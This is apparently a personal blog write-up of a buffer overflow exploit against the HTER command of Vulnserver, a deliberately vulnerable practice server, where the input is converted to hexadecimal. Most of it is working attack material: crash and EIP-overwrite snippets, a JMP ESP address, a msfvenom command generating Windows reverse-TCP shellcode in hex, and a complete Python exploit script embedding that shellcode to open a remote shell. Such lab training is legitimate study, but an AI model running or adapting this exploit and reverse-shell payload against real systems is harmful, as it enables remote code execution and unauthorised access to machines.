Exploit Development – Vulnserver HTER – Hex conversion


One more Vulnserver write-up. This one is HTER function, it has some similarities with his brother LTER.

LTER was converting the buffer to Unicode and HTER is going to convert it to hexadecimal.

Let’s see what happens when this conversion happens and how we can manage it to write a working exploit.

We fuzz again Vulnserver and the request number 180 crashes the application:

Let’s recreate the crash with a python exploit. We execute it and it crashes again:

crash = "\x41" * 3000

buffer="HTER "
buffer+= crash + "\r\n"

But when I try to generate a string with msf-pattern to make the application crash, it won’t work. So I’m going to do it manually, splitting the buffer in two parts with A’s and B’s and so on.

After some minutes of trial and error. My script contained the following:

crash = "\x41" * 2041 + "\x42" * 8 + "\x41" * 951

And I finally overwrite EIP with 8 letter’s B.

It’s strange, and I don’t understand why I have 8 B’s instead of 4. Reading other write-ups I read that the payload was being converted into a hex byte array instead of ASCII.

Let’s try to overwrite EIP, we know from the past exercise that we have a JMP ESP in the memory address:

# 0x62501203 - JMP ESP

We setup the exploit like this, and we put a breakpoint in the JMP ESP. Notice the “inverse” order of the bytes of EIP.

junk1 = "\x41" * 2041

# 0x62501203 - JMP ESP
eip = "03125062"

junk2 = "\x42" * 951

crash = junk1 + eip + junk2

We launch the exploit and we reach the break point.

Trick. Generating hex format shellcode

Now we just have to complete the exploit as usual, but we need to know some things. If we want some Nop padding instead of writing 0x90 we are going to use 90.

Also, when we generate the shellcode we have to use the hex format. I generated the shellcode with this command:

msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=443 -b "\x00" -f hex -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of hex file: 736 bytes

We put everything together in a final script:

# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver HTER - Hex format shellcode

import socket
import os
import sys

junk1 = "A" * 2041

# 0x62501203 - JMP ESP
eip = "03125062"

padding = "90" * 20

# msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=443 -b "\x00" -f hex -v shellcode
# Payload size: 368 bytes
shellcode = "bd5a2c2623d9f6d97424f45a33c9b156316a13036a1383c25eced3dfb68c1c2046f195c57731c18e278181c3cb6ac7f7581ec0f8e9953636ea860b5968d55fb9511692b8964b5fe84f07f21de45dcf96b670574a0e7276dd052d58dfca45d1c70f63ab7cfb1f2a5532df8198fb12dbdd3bcdae173870a9e343ae3cf0e325e6dc12e971961846f5f03c59da8a38d2dd5cc9a0f978927363d87ed59c3a218a3830cfdf301b872c79a4573b0ad765e4a07fc56d6f875c799057e6ea6e581622b50c465c1c2d0d9ca1f8bb9635c393a69dabe1a81c976c4e4eb73edf2f67fe8fc76df1f0f88dd8989361b4f10b1b9d8aaae408f7ed6fb807a387c91bd4ff31e4256a318e213c6626281940e9d34cd3ee2c11e5851b8749f263474902320d496ae2751a8feda30f1c784c79f02b24872f1beb781a1fec86d80855ee220965ee4889358687a6ba66676d93eee2e0518ff3283711f3dfeca28e9013436fb977446fc58979b9fcffbc79bbf08bdcea9af373ec8e"

# 951 - 20 - 368
junk2 = "B" * 563

crash = junk1 + eip + padding + shellcode + junk2 

buffer="HTER "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("", 9999))


And we execute it, and we receive another Vulnserver shell! 🙂

Only 1 more, and we are going to finish it. See you soon!

This entry was posted in Exploiting and tagged , , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *